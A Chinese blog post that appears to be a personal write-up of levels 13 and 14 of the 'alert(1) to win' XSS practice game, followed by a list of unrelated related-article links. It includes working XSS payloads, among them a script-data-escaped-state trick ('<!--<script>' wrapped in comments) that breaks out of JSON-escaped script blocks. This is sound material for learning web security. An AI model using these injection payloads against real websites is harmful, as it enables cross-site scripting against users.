第13题

题目:

function escape(s) {
var tag = document.createElement('iframe'); // For this one, you get to run any code you want, but in a "sandboxed" iframe.
//
// https://4i.am/?...raw=... just outputs whatever you pass in.
//
// Alerting from 4i.am won't count. s = '<script>' + s + '<\/script>';
tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s); window.WINNING = function() { youWon = true; }; tag.setAttribute('onload', 'youWon && alert(1)');
return tag.outerHTML;
}

分析:

这题老黑没解出来,只知道答案是name='youWon',根据网上的答案可知每个frame都有一个全局对象window,而name是window的成员属性,存储窗口的名称。老黑猜测输入name='youWon'会触发alert(1),但是实验网址没有提示。

第14题

题目:

 function escape(s) {
function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
function html(s) { return s.replace(/[<>"&]/g, function(s) {
return '&#' + s.charCodeAt(0) + ';'; }); } return (
'<script>' +
'var url = ' + json(s) + '; // We\'ll use this later ' +
'</script>\n\n' +
' <!-- for debugging -->\n' +
' URL: ' + html(s) + '\n\n' +
'<!-- then suddenly -->\n' +
'<script>\n' +
' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
' else new Image().src = url;\n' +
'</script>'
);
}

分析:

触发alert(1)的地方在第11行,所以要构造在<script></script>的payload。

TRY:

第一次:"alert(1);"   失败!

第二次:查阅资料,知道html5的"script data escaped state"特性,使用<!--<script>,可以令解析器将此句后边的东西当做JS,可以实现闭合第9行的</script>,因此构造payload="alert(1);<!--<script>",结果显示如下:

 <script>var url = "alert(1);<!--<script>"; // We'll use this later </script>

   <!-- for debugging -->
URL: alert(1);<!--<script&#62; <!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>

目前实际有效的代码是:

 <script>var url = "alert(1);

   <!-- for debugging -->
URL: alert(1);
<!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>

但是还是有问题,第6行的<script>标签还有作用,而且语法报错!

第三次:payload=“alert(1);/*<!--<script>*/if(/a//*”,语法通过,会成为这样:

 <script>var url = "alert(1);\/*<!--<script>*\/if(\/a\/\/*"; // We'll use this later </script>

   <!-- for debugging -->
URL: alert(1);/*<!--<script>*/if(/a//* <!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>

去除无效代码如下:

 <script>var url = "alert(1);"

   <!-- for debugging -->
URL: alert(1);
if(/a/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>

PS:以上是老黑自己的理解,仅供参考。

第15,16题,我并不理解答案,等以后知识足够的时候,再攻克这两个难题。网上解释的链接,你过来啊

虽然今天下午解决了两个题,但是也浪费了太多时间,效率太低,而且自制力不够,注意力不够集中,今天的表现很不满意。

【20171027中】alert(1) to win 第13,14,15,16题的更多相关文章

  1. 剑指offer19:按照从外向里以顺时针的顺序依次打印出每一个数字,4 X 4矩阵: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 则依次打印出数字1,2,3,4,8,12,16,15,14,13,9,5,6,7,11,10.

    1 题目描述 输入一个矩阵,按照从外向里以顺时针的顺序依次打印出每一个数字,例如,如果输入如下4 X 4矩阵: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 则依次打印 ...

  2. 13.14.15.16.17&《一个程序猿的生命周期》读后感

    13.TDS 的标准是什么,怎么样才能认为他是一个标准的TDS?? 14.软件的质量包括哪些方面,如何权衡软件的质量? 15.如何解决功能与时间的矛盾,优秀的软件团队会发布有已知缺陷的软件么? 16. ...

  3. js如何判断一组数字是否连续,得到一个临时数组[[3,4],[13,14,15],[17],[20],[22]];

    var arrange = function(arr){ var result = [], temp = []; arr.sort(function(source, dest){ return sou ...

  4. 【20171027早】alert(1) to win 第9,10,11,12题

    人在江湖,不服就干! 第9题: function escape(s) { function htmlEscape(s) { return s.replace(/./g, function(x) { r ...

  5. 【alert(1) to win】不完全攻略

    alert(1) to win 一个练习XSS的平台,地址:https://alf.nu/alert1 Warmup 给出了一段JavaScript代码 function escape(s) { re ...

  6. alert(1) to win Part Ⅰ

    alert(1) to win Adobe: function escape(s) { s = s.replace(/"/g, '\\"'); return '<script ...

  7. Javascript中alert</script>的方法

    Javascript中alert</script>的方法: <%@ page language="java" import="java.util.*&q ...

  8. Oracle 12CR2 中alert.log出现大量的 WARNING: too many parse errors 告警

    Oracle 12CR2 中alert.log出现大量的 WARNING: too many parse errors 告警   日志如下: 2018-06-24T17:16:21.024586+08 ...

  9. 去掉网页中alert和confirm弹出框自带的网址

    去掉网页中alert和confirm弹出框自带的网址 Alert: <script> window.alert = function(name){ var iframe = documen ...

随机推荐

  1. Java-判断一个数是不是素数

    import java.util.Scanner; /** * @author 薛定谔的猫 * java判断一个数是不是素数 * * 素数又称质数,是指在一个大于1的自然数中,除了1和本身之外,不能被 ...

  2. delphi引用别的单元时问题

    当需要添加别的工程总的unit文件时,将unit的pas文档放入工程目录下,在工程页面Uses添加 Unit2 in 'Unit2.pas' {DataModule2: TDataModule}, U ...

  3. lintcode 453 将二叉树拆成链表

    将二叉树拆成链表   描述 笔记 数据 评测 将一棵二叉树按照前序遍历拆解成为一个假链表.所谓的假链表是说,用二叉树的 right 指针,来表示链表中的 next 指针. 注意事项 不要忘记将左儿子标 ...

  4. vue 2 使用Bus.js进行兄弟(非父子)组件通信 简单案例

    vue2中废弃了$dispatch和$broadcast广播和分发事件的方法.父子组件中可以用props和$emit().如何实现非父子组件间的通信,可以通过实例一个vue实例Bus作为媒介,要相互通 ...

  5. .NetCore之下载文件

    本篇将和大家分享的丝.NetCore下载文件,常见的下载有两种:A标签直接指向下载文件地址和post或get请求后台输出文件流的方式,本篇也将围绕这两种来分享:如果对您有好的帮助,请多多支持. 允许站 ...

  6. 新书发布《每天5分钟玩转Docker容器技术》

    后台不时收到关于纸质版教程书籍的询问,今天终于可以给大家一个交代了. <每天5分钟玩转Docker容器技术>现已在各大书城上架. 比较了一下,目前京东上最实惠:https://item.j ...

  7. Python 实现的随机森林

    随机森林是一个高度灵活的机器学习方法,拥有广泛的应用前景,从市场营销到医疗保健保险. 既可以用来做市场营销模拟的建模,统计客户来源,保留和流失.也可用来预测疾病的风险和病患者的易感性. 随机森林是一个 ...

  8. Node.js之循环依赖

    在Node.js中有可能会出现循环依赖的问题,在此做一个简单的记录 假如有一个模块A: exports.loaded = false; const b = require('./b'); module ...

  9. 基于FPGA的肤色识别算法实现

    大家好,给大家介绍一下,这是基于FPGA的肤色识别算法实现. 我们今天这篇文章有两个内容一是实现基于FPGA的彩色图片转灰度实现,然后在这个基础上实现基于FPGA的肤色检测算法实现. 将彩色图像转化为 ...

  10. (转)TabIndex 属性

    html中的tabIndex属性可以设置键盘中的TAB键在控件中的移动顺序,即焦点的顺序.   把控件的tabIndex属性设成1到32767的一个值,就可以把这个控件加入到TAB键的序列中.   这 ...